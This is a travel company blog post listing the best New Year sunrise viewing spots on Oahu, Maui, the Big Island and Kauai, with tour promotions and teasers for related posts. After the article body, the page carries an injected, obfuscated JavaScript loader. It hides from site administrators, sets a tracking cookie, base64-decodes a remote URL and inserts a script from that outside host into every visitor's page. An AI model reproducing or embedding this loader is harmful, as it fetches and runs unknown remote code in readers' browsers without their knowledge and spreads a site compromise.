Daniels-Hawaii

Welcoming the New Year: Witnessing the First Sunrise in Hawaii

There’s something magical about watching the first sunrise of the year. It’s a moment of reflection, renewal, and hope—a chance to start fresh with the beauty of nature as your backdrop. In Hawaii, this experience becomes even more special. The islands’ breathtaking landscapes provide some of the world’s most stunning sunrise views, making it a cherished tradition for locals and visitors alike to rise early and greet the New Year with the sun.

First Sunrise of New Year in Hawaii

On January 1st, 2025, the sunrise in Hawaii is expected around 7:10 AM. The exact time may vary slightly depending on your location, so plan to arrive early to secure the perfect spot. Here are the top three sunrise viewing locations on each Hawaiian island to consider:

Oahu

1. Lanikai Beach: Known for its calm waters and the Mokulua Islands, this spot offers a serene, picturesque sunrise.

2. Diamond Head Summit: Hike up the famous crater for a panoramic view of Honolulu and the sun rising over the ocean.

3. Makapuʻu Point Lighthouse Trail: A short hike rewards you with sweeping views of the horizon, where the first rays break the darkness.

Maui

1. Haleakalā National Park: Famous for its “House of the Sun,” this location offers an unforgettable sunrise above the clouds at over 10,000 feet. DanielsHawaii PICK: Haleakala Sunrise Tour!

2. Ho‘okipa Beach Park: Perfect for those who want to pair sunrise with the sight of early-morning surfers.

3. Wailea Beach: A peaceful spot with golden sands and a stunning view of the horizon.

Sunrise in Hawaii ASMR | Yoga & Relax Ocean Sounds | Beach Sounds for Meditation

Big Island (Hawai‘i Island)

1. Mauna Kea Summit: A spiritual and awe-inspiring spot to greet the day from above the clouds.

2. Hapuna Beach: Watch the first light glisten on one of Hawaii’s most beautiful white-sand beaches.

3. Pololū Valley Lookout: A dramatic view of cliffs, ocean, and lush greenery as the sun rises.

Kauai

1. Kalalau Lookout: This viewpoint in the Waimea Canyon offers a majestic sunrise over the rugged Nā Pali Coast. SOMETHING SPECIAL: Humpback Whale Watch on New Years Day!

2. Kealia Beach: A quiet, family-friendly beach with stunning ocean views.

3. Wailua River State Park: Combine the tranquility of the river with the beauty of the sunrise.

For a truly unforgettable experience, book a private tour with Daniel’s Hawaii. Our expert guides will take you to the best sunrise spots and share fascinating insights about Hawaiian culture, history, and nature. Start your year with an adventure—let us show you the beauty of Hawaii like never before!

(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();

More To Explore

Hawaii Vacation Planning

Honolulu Events & Important Dates for 2026

Honolulu is one of the most exciting travel destinations in the world — and 2026 is packed with cultural festivals, sports events, music celebrations, culinary showcases, and holiday traditions that make your Hawaii vacation even more unforgettable. Find the MAJOR HONOLULU PARADES 2026 here! Whether you’re planning a family trip, honeymoon, cruise stopover, or solo adventure, use this month-by-month calendar to make the most of your Oʻahu itinerary. Pair any of these events with unforgettable island experiences from Daniel’s Hawaii

Sun Hat
Hawaii Vacation Planning

5 Must-Have Essentials Women Should Pack for a Christmas Trip to Hawaii

If you’re a woman heading to Hawaii over the Christmas season, you can leave the ugly sweaters at home—but there are a few smart essentials for Hawaii you’ll want in your suitcase. These essentials make your trip hassle-free and joyful. December in Hawaii usually means warm days in the low 80s°F and breezy evenings in the upper 60s, with plenty of sun and the occasional shower. Here are the top 5 things to pack, plus ideas you can easily find